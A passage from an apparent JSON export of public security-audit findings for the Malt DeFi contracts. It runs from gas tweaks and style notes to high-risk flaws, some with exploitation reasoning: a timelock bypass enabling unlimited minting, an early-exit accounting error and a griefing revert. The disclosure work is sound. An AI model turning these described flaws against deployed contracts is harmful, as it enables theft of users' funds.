(fullReturn - amount) * (maxEarlyExitBps * 1000 * progressionBps / 10000) / 1000 / 1000; return amount + maxProfit; } ``` "}, {"title": "Returning the named returns is redundant", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/304", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Returning the named returns is redundant"}, {"title": "Misleading variable names", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/302", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Misleading variable names"}, {"title": "`AuctionBurnReserveSkew.sol#getPegDeltaFrequency()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/301", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L116-L132 ```solidity=116 function getPegDeltaFrequency() public view returns (uint256) { uint256 initialIndex = 0; uint256 index; if (count > auctionAverageLookback) { initialIndex = count - auctionAverageLookback; } uint256 total = 0; for (uint256 i = initialIndex; i < count; ++i) { index = _getIndexOfObservation(i); total = total + pegObservations[index]; } return total * 10000 / auctionAverageLookback; } ``` ### Recommendation Change to: ```solidity=116 function getPegDeltaFrequency() public view returns (uint256) { uint256 availablePegObservationsCount; { uint256 auctionAverageLookback_ = auctionAverageLookback; uint256 count_ = count; availablePegObservationsCount = count_ > auctionAverageLookback_ ? auctionAverageLookback_ : count_; } uint256 total = 0; for (uint256 i = 0; i < availablePegObservationsCount; ++i) { total += pegObservations[i]; } return total * 10000 / availablePegObservationsCount; } ``` "}, {"title": "Cache external call results can save gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/300", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-11-malt-findings", "body": "Cache external call results can save gas"}, {"title": "Unnecessary internal function calls", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/296", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Unnecessary internal function calls"}, {"title": "`++i` is more gas efficient than `i++`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/295", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details Using `++i` is more gas efficient than `i++`, especially in a loop. For example: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L54-L56 ```solidity=54 for (uint i = 0; i < _period; i++) { pegObservations.push(0); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L193-L195 ```solidity=193 for (uint i = auctionAverageLookback; i < _lookback; i++) { pegObservations.push(0); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L60-L62 ```solidity=60 for (uint i = 0; i < sampleMemory; i++) { samples.push(); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L187-L195 ```solidity=187 for (uint256 i = 0; i < sampleMemory; i++ ) { tempCount += 1; liveSample = samples[_getIndexOfSample(tempCount)]; liveSample.timestamp = currentTimestamp; liveSample.cumulativeValue = currentCumulative; currentCumulative += addition; currentTimestamp += uint64(sampleLength); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L292-L300 ```solidity=292 for (uint256 i = 0; i < sampleMemory; i++ ) { tempCount += 1; liveSample = samples[_getIndexOfSample(tempCount)]; liveSample.timestamp = currentTimestamp; liveSample.cumulativeValue = currentCumulative; currentCumulative += addition; currentTimestamp += uint64(sampleLength); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L431-L433 ```solidity=431 for (uint i = sampleMemory; i < _sampleMemory; i++) { samples.push(); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/libraries/UniswapV2Library.sol#L66-L69 ```solidity=66 for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } ``` "}, {"title": "`AuctionBurnReserveSkew.getPegDeltaFrequency()` Wrong implementation can result in an improper amount of excess Liquidity Extension balance to be used at the end of an auction ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/294", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L116-L132 ```solidity=116{131} function getPegDeltaFrequency() public view returns (uint256) { uint256 initialIndex = 0; uint256 index; if (count > auctionAverageLookback) { initialIndex = count - auctionAverageLookback; } uint256 total = 0; for (uint256 i = initialIndex; i < count; ++i) { index = _getIndexOfObservation(i); total = total + pegObservations[index]; } return total * 10000 / auctionAverageLookback; } ``` When `count < auctionAverageLookback`, at L131, it should be `return total * 10000 / count;`. The current implementation will return a smaller value than expected. The result of `getPegDeltaFrequency()` will be used for calculating `realBurnBudget` for auctions. With the result of `getPegDeltaFrequency()` being inaccurate, can result in an improper amount of excess Liquidity Extension balance to be used at the end of an auction. "}, {"title": "`StabilizerNode.sol` The current implementation is misconfiguration-prone for rewardToken with non-18 decimals", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/293", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details The default `upperStabilityThreshold` and `lowerStabilityThreshold` assumes that `rewardToken.decimals()` is 18. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L32-L33 ```solidity=32 uint256 public upperStabilityThreshold = (10**18) / 100; // 1% uint256 public lowerStabilityThreshold = (10**18) / 100; ``` When the `StabilizerNode.sol` contract is initialized with a rewardToken with decimals of 8 (eg. USDC). `upperThreshold` and `lowerThreshold` will be much larger than expected. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L198-L206 ```solidity function _shouldAdjustSupply(uint256 exchangeRate) internal view returns (bool) { uint256 decimals = rewardToken.decimals(); uint256 priceTarget = maltDataLab.priceTarget(); uint256 upperThreshold = priceTarget.mul(upperStabilityThreshold).div(10**decimals); uint256 lowerThreshold = priceTarget.mul(lowerStabilityThreshold).div(10**decimals); ``` ### Recommendation Consider changing to: ```solidity uint256 public upperStabilityThresholdBps = 100; // 1% uint256 public lowerStabilityThresholdBps = 100; ``` ```solidity function _shouldAdjustSupply(uint256 exchangeRate) internal view returns (bool) { uint256 decimals = rewardToken.decimals(); uint256 priceTarget = maltDataLab.priceTarget(); uint256 upperThreshold = priceTarget.mul(upperStabilityThreshold).div(10000); uint256 lowerThreshold = priceTarget.mul(lowerStabilityThreshold).div(10000); ``` "}, {"title": "The value of `reward` parameter of the `ProvideReinvest` event can be wrong", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/292", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardReinvestor.sol#L62-L76 ```solidity=62 function provideReinvest(uint256 rewardLiquidity) external { _retrieveReward(rewardLiquidity); uint256 rewardBalance = rewardToken.balanceOf(address(this)); // This is how much malt is required uint256 maltLiquidity = dexHandler.getOptimalLiquidity(address(malt), address(rewardToken), rewardBalance); // Transfer the remaining Malt required malt.safeTransferFrom(msg.sender, address(this), maltLiquidity); _bondAccount(msg.sender); emit ProvideReinvest(msg.sender, rewardLiquidity); } ``` `_retrieveReward` will call `MiningService.sol#withdrawRewardsForAccount()` which uses `amount` as max withdrawnAmount, if there are no enough rewards, the actual rewarded amount will be less than `amount`. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MiningService.sol#L155-L179 ```solidity=155 function withdrawRewardsForAccount(address account, uint256 amount) public onlyRole(REINVESTOR_ROLE, \"Must have reinvestor privs\") { _withdrawMultiple(account, amount); } /* * INTERNAL FUNCTIONS */ function _withdrawMultiple(address account, uint256 amount) internal { for (uint i = 0; i < mines.length; i = i + 1) { if (!mineActive[mines[i]]) { continue; } uint256 withdrawnAmount = IRewardMine(mines[i]).withdrawForAccount(account, amount, msg.sender); amount = amount.sub(withdrawnAmount); if (amount == 0) { break; } } } ``` ### Recommendation Consider using `rewardBalance` as the value of the `reward` parameter. "}, {"title": "Permissions.sol#_swapRole is named wrongly", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/290", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Permissions.sol#_swapRole is named wrongly"}, {"title": "Custom size uint is not more efficient than uint256", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/289", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Concept In `MovingAverage.sol`, `uint64` is used for computation of time etc. But computations with `uint64` does cost more gas and furthermore `block.timestamp` is `uint256`, which is additionally casted to `uint64`. `uint32` is used for indexes, but this can also be changed with `uint256`. Same applies for `RewardDistributer.sol.` ## Recommendation Use `uint256` rather than custom `uint`. "}, {"title": "Dont calculate progressionBps, when not needed", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/288", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Concept [https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionEscapeHatch.sol#L200-L212](https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionEscapeHatch.sol#L200-L212): ``` uint256 progressionBps = (block.timestamp - auctionEndTime) * 10000 / cooloffPeriod; if (progressionBps > 10000) { progressionBps = 10000; } if (fullReturn > amount) { // Allow a % of profit to be realised uint256 maxProfit = (fullReturn - amount) * (maxEarlyExitBps * progressionBps / 10000) / 1000; uint256 desiredReturn = amount + maxProfit; maltQuantity = desiredReturn.mul(pegPrice) / currentPrice; } return maltQuantity; ``` `progressionBps` is only used, if there is a profit. Calculations of this parameter should be under if statement checking whether there is a profit to save gas and increase readability as follows: ``` if (fullReturn > amount) { // Allow a % of profit to be realised uint256 progressionBps = (block.timestamp - auctionEndTime) * 10000 / cooloffPeriod; if (progressionBps > 10000) { progressionBps = 10000; } uint256 maxProfit = (fullReturn - amount) * (maxEarlyExitBps * progressionBps / 10000) / 1000; uint256 desiredReturn = amount + maxProfit; maltQuantity = desiredReturn.mul(pegPrice) / currentPrice; } return maltQuantity; ``` "}, {"title": "Unused storage variables", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/287", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Unused storage variables"}, {"title": "Misleading error message", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/286", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Misleading error message"}, {"title": "AbstractRewardMine.sol#setRewardToken is dangerous", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/285", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Impact In case the reward token is changed, `totalDeclaredReward` will be changed and likely equal to `0`. Since `_userStakePadding` and `_globalStakePadding` are accumulated, changing the reward token will not reset those values. Thus, it will create problems. ## Recommendation I think it would be the best to remove this function. If you want to keep it, then it must have an event and it should be used by a timelock contract. Furthermore, it has to be used carefully and the new token should be distributed such that padding variables still make sense. "}, {"title": "AbstractRewardMine.sol#_removeFromStakePadding can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/284", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "AbstractRewardMine.sol#_removeFromStakePadding can be implemented more efficiently"}, {"title": "Use immutable variable can save gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/280", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-malt-findings", "body": "Use immutable variable can save gas"}, {"title": "Race condition on ERC20 approval", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/276", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Race condition on ERC20 approval"}, {"title": "`uint64(block.timestamp % 2**64)` can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/273", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L154-L154 ```solidity=154 uint64 blockTimestamp = uint64(block.timestamp % 2**64); ``` Use `uint64(n)` can cut off higher-order bits already, `n % 2**64` is redundant. See: https://docs.soliditylang.org/en/v0.8.10/types.html#explicit-conversions ### Recommendation Change to: ```solidity=154 uint64 blockTimestamp = uint64(block.timestamp); ``` "}, {"title": "For uint `> 0` can be replaced with ` != 0` for gas optimisation", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/271", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "For uint `> 0` can be replaced with ` != 0` for gas optimisation"}, {"title": "`MovingAverage.sol` Use inline expression can save gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/269", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L356-L360 ```solidity=356 function _getCurrentSample() private view returns (Sample storage currentSample) { // Active sample is always counter - 1. Counter is the in progress sample uint32 currentSampleIndex = _getIndexOfSample(counter - 1); currentSample = samples[currentSampleIndex]; } ``` The local variable `currentSampleIndex` is used only once. Making the expression inline can save gas. Similar issue exists in `_getFirstSample()`, `_getNthSample()`, `AuctionBurnReserveSkew.sol#getRealBurnBudget()`, `MovingAverage.sol#_getFirstSample()`. ### Recommendation Change to: ```solidity=356 function _getCurrentSample() private view returns (Sample storage currentSample) { // Active sample is always counter - 1. Counter is the in progress sample currentSample = samples[_getIndexOfSample(counter - 1)]; } ``` "}, {"title": "AuctionEschapeHatch.sol#exitEarly updates state of the auction wrongly", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/268", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Vulnerability `AuctionEschapeHatch.sol#exitEarly` takes as input `amount` to represent how much of the When the user exits an auction with profit, to apply the profit penalty less `maltQuantity` is liquidated compared to how much malt token the liquidated amount corresponds to. The problem is `auction.amendAccountParticipation()` simply subtracts the malt quantity with penalty and full `amount` from users auction stats. This causes a major problem, since in `_calculateMaltRequiredForExit` those values are used for calculation by calculating maltQuantity as follow: `uint256 maltQuantity = userMaltPurchased.mul(amount).div(userCommitment);` The ratio of `userMaltPurchased / userCommitment` gets higher after each profit taking (since penalty is applied to substracted `maltQuantity` from `userMaltPurchased`), by doing so a user can earn more than it should. Since after each profit taking users commitment corresponds to proportionally more malt, the user can even reduce profit penalties by dividing `exitEarly` calls in several calls. In other words, the ratio of `userMaltPurchased / userCommitment` gets higher after each profit taking and user can claim more malt with less commitment. Furthermore after all `userMaltPurchased` is claimed the user can have `userCommitment` left over, which can be used to `claimArbitrage`, when possible. ## Mitigation Step Make sure which values are used for what and update values which doesn't create problems like this. Rethink about how to track values of an auction correctly. "}, {"title": "Code Style: private/internal function names should be prefixed with `_`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/265", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Code Style: private/internal function names should be prefixed with `_`"}, {"title": "Timelock can be bypassed", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/263", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details The purpose of a Timelock contract is to put a limit on the privileges of the `governor`, by forcing a two step process with a preset delay time. However, we found that the current implementation actually won't serve that purpose as it allows the `governor` to execute any transactions without any constraints. To do that, the current governor can call `Timelock#setGovernor(address _governor)` and set a new `governor` effective immediately. And the new `governor` can then call `Timelock#setDelay()` and change the delay to `0`, also effective immediately. The new `governor` can now use all the privileges without a delay, including granting minter role to any address and mint unlimited amount of MALT. In conclusion, a Timelock contract is supposed to guard the protocol from lost private key or malicious actions. The current implementation won't fulfill that mission. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Timelock.sol#L98-L105 ```solidity=98{100,102-103} function setGovernor(address _governor) public onlyRole(GOVERNOR_ROLE, \"Must have timelock role\") { _swapRole(_governor, governor, GOVERNOR_ROLE); governor = _governor; emit NewGovernor(_governor); } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Timelock.sol#L66-L77 ```solidity=66{71,74} function setDelay(uint256 _delay) public onlyRole(GOVERNOR_ROLE, \"Must have timelock role\") { require( _delay >= 0 && _delay < gracePeriod, \"Timelock::setDelay: Delay must not be greater equal to zero and less than gracePeriod\" ); delay = _delay; emit NewDelay(delay); } ``` ## Recommendation Consider making `setGovernor` and `setDelay` only callable from the Timelock contract itself. Specificaly, changing from `onlyRole(GOVERNOR_ROLE, \"Must have timelock role\")` to `require(msg.sender == address(this), \"...\")`. Also, consider changing `_adminSetup(_admin)` in `Timelock#initialize()` to `_adminSetup(address(this))`, so that all roles are managed by the timelock itself as well. "}, {"title": "Remove liquidity never ends up with left-over LP tokens", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/259", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Remove liquidity never ends up with left-over LP tokens"}, {"title": "Wrong comment in `removeLiquidity`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/258", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-malt-findings", "body": "Wrong comment in `removeLiquidity`"}, {"title": "Slippage checks when adding liquidity are too strict", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/257", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle cmichel # Vulnerability details When adding liquidity through `UniswapHandler.addLiquidity`, the entire contract balances are used to add liquidity and the min amounts are set to 95% of these balances. If the balances in this contract are unbalanced (the ratio is not similar to the current Uniswap pool reserve ratios) then this function will revert and no liquidity is added. See `UniswapHandler.buyMalt`: ```solidity (maltUsed, rewardUsed, liquidityCreated) = router.addLiquidity( address(malt), address(rewardToken), maltBalance, // @audit-info amountADesired rewardBalance, // @audit assumes that whatever is in this contract is already balanced. good assumption? maltBalance.mul(95).div(100), // @audit-info amountAMin rewardBalance.mul(95).div(100), msg.sender, // transfer LP tokens to sender now ); ``` ## Impact If the contract has unbalanced balances, then the `router.addLiquidity` call will revert. Note that an attacker could even send tokens to this contract to make them unbalanced and revert, resulting in a griefing attack. ## Recommended Mitigation Steps It needs to be ensured that the balances in the contract are always balanced and match the current reserve ratio. It might be better to avoid directly using the balances which can be manipulated by transferring tokens to the contract and accepting parameters instead of how many tokens to provide liquidity with from the caller side. "}, {"title": "`UniswapHandler.maltMarketPrice` returns wrong decimals", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/255", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle cmichel # Vulnerability details The `UniswapHandler.maltMarketPrice` function returns a tuple of the `price` and the `decimals` of the price. However, the returned `decimals` do not match the computed `price` for the `else if (rewardDecimals < maltDecimals)` branch: ```solidity else if (rewardDecimals < maltDecimals) { uint256 diff = maltDecimals - rewardDecimals; price = (rewardReserves.mul(10**diff)).mul(10**rewardDecimals).div(maltReserves); decimals = maltDecimals; } ``` Note that `rewardReserves` are in reward token decimals, `maltReserves` is a malt balance amount (18 decimals). Then, the returned amount is in `rewardDecimals + diffDecimals + rewardDecimals - maltDecimals = maltDecimals + rewardDecimals - maltDecimals = rewardDecimals`. However `decimals = maltDecimals` is wrongly returned. ## Impact Callers to this function will receive a price in unexpected decimals and might inflate or deflate the actual amount. Luckily, the `AuctionEscapeHatch` decides to completely ignore the returned `decimals` and as all prices are effectively in `rewardDecimals`, even if stated in `maltDecimals`, it currently does not seem to lead to an issue. ## Recommendation Fix the function by returning `rewardDecimals` instead of `maltDecimals` in the `rewardDecimals < maltDecimals` branch. "}, {"title": "`splitReinvest` does not provide liquidity at optimal ratio", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/253", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "`splitReinvest` does not provide liquidity at optimal ratio"}, {"title": "`_getFirstSample` returns wrong sample if count < sampleMemory", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/252", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle cmichel # Vulnerability details The `MovingAverage.sol` contract defines several variables that in the end make the `samples` array act as a ring buffer: - `sampleMemory`: The total length (buffer size) of the `samples` array. `samples` is initialized with `sampleMemory` zero observations. - `counter`: The pending sample index (modulo `sampleMemory`) The `_getFirstSample` function computes the first sample as `(counter + 1) % sampleMemory` which returns the correct index only _if the ring buffer is full_, i.e., it wraps around. (in the `counter + 1 >= sampleMemory`). If the `samples` array does not wrap around yet, the zero index should be returned instead. ## Impact Returning `counter + 1` if `counter + 1 < sampleMemory` returns a zero initialized `samples` observation index. This then leads to a wrong computation of the TWAP. ## Recommended Mitigation Steps Add an additional check for `if (counter + 1 < sampleMemory) return 0` in `_getFirstSample`. "}, {"title": "Bonding doesn't work with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/251", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle cmichel # Vulnerability details Certain ERC20 tokens make modifications to their ERC20's `transfer` or `balanceOf` functions. One type of these tokens is deflationary tokens that charge a certain fee for every `transfer()` or `transferFrom()`. ## Impact The `Bonding._bond()` function will revert in the `_balanceCheck` when transferring a fee-on-transfer token as it assumes the entire `amount` was received. ## Recommended Mitigation Steps To support fee-on-transfer tokens, measure the asset change right before and after the asset-transferring calls and use the difference as the actual bonded amount. "}, {"title": "Wrong permissions on `reassignGlobalAdmin`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/250", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle cmichel # Vulnerability details The `Permissions.reassignGlobalAdmin` function is supposed to only be run with the `TIMELOCK_ROLE` role, see `onlyRole(TIMELOCK_ROLE, \"Only timelock can assign roles\")`. However, the `TIMELOCK_ROLE` is not the admin of all the reassigned roles and the `revokeRole(role, oldAccount)` calls will fail as it requires the `ADMIN_ROLE`. ## Recommended Mitigation Steps The idea might have been that only the `TIMELOCK` should be able to call this function, and usually it is also an admin, but the function strictly does not work if the caller _only_ has the `TIMELOCK` roll and will revert in this case. Maybe governance decided to remove the admin role from the Timelock, which makes it impossible to call `reassignGlobalAdmin` anymore as both the timelock and admin are locked out. "}, {"title": "Initial `SetTransferService` event not emitted", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/249", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle cmichel # Vulnerability details The initial `SetTransferService` event in `Malt.initialize` is not emitted. ## Impact Off-chain programs might not correctly track the initial `transferService` variable as the initial event is missing. ## Recommended Mitigation Steps Emit it in `initialize`. "}, {"title": "`approve` return values not checked & unsafe", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/247", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle cmichel # Vulnerability details The `ERC20.approve()` function returns a boolean value indicating success. This parameter needs to be checked for success. Some tokens do **not** revert if the transfer failed but return `false` instead. In addition, some tokens (like [USDT L199](https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#code)) do not work when changing the allowance from an existing non-zero allowance value. They must first be approved by zero and then the actual allowance must be approved. ```solidity IERC20(token).safeApprove(address(operator), 0); IERC20(token).safeApprove(address(operator), amount); ``` This issue exists for example in `AuctionParticipant.purchaseArbitrageTokens`: ```solidity auctionRewardToken.approve(address(auction), balance); ``` As well as in `UniswapHandler.buyMalt`: ```solidity rewardToken.approve(address(router), rewardBalance); ``` ## Impact Tokens that don't correctly implement the latest EIP20 spec, by either returning `false` on failure or reverting if approved from a non-zero value, will be unusable in the protocol as they revert the transaction because of the missing return value. ## Recommended Mitigation Steps We recommend using OpenZeppelin\u2019s `SafeERC20` versions with the `safeApprove(0)` functions that handle the return value check as well as non-standard-compliant tokens. "}, {"title": "`totalDeclaredReward >= totalReleasedReward` not true in `AbstractRewardMine`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/246", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "`totalDeclaredReward >= totalReleasedReward` not true in `AbstractRewardMine`"}, {"title": "`initialize` functions can be frontrun", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/245", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "`initialize` functions can be frontrun"}, {"title": "Implementations should inherit their interface", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/242", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Implementations should inherit their interface"}, {"title": "Missing Overflow Protection On the DeployedCapital", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/238", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Missing Overflow Protection On the DeployedCapital"}, {"title": "Auction.sol amendAccountParticipation has no zero division check", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/235", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Auction.sol amendAccountParticipation has no zero division check"}, {"title": "Bonding.sol _unbondAndBreak does not account for edge case where no tokens are returned", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/234", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In Bonding.sol, the internal function `_unbondAndBreak` transfers a user's stake tokens to the dexHandler and then calls `removeLiquidity` on the dexHandler. Within the Uniswap handler (which is the only handler so far) `removeLiquidity` takes special care in the edge case where `router.removeLiquidity` returns zero tokens. Specifically, the Uniswap handler has this code: ``` if (amountMalt == 0 || amountReward == 0) { liquidityBalance = lpToken.balanceOf(address(this)); lpToken.safeTransfer(msg.sender, liquidityBalance); return (amountMalt, amountReward); } ``` If this edge case does indeed happen (i.e. if something is preventing the Uniswap router from removing liquidity at the moment), then the Uniswap handler will transfer the LP tokens back to Bonding.sol. However, Bonding.sol does not have any logic to recognize that this happened, so the LP tokens will become stuck in the contract and the user will never get any of their value back. This could be very bad if the user unbonds a lot of LP and they don't get any of it back. ## Proof of Concept See `_unbondAndBreak` here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Bonding.sol#L226 Notice how the edge case where `amountMalt == 0 || amountReward == 0` is not considered in this function, but it is considered in the Uniswap handler's `removeLiquidity` here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/DexHandlers/UniswapHandler.sol#L240 ## Tools Used Inspection. ## Recommended Mitigation Steps Add a similar edge case check to `_unbondAndBreak`. In the case where LP tokens are transferred back to Bonding.sol instead of malt/reward, these LP tokens should be forwarded back to the user since the value is rightfully theirs. "}, {"title": "`permit` Double Emits An `Approval` Event", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/230", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # 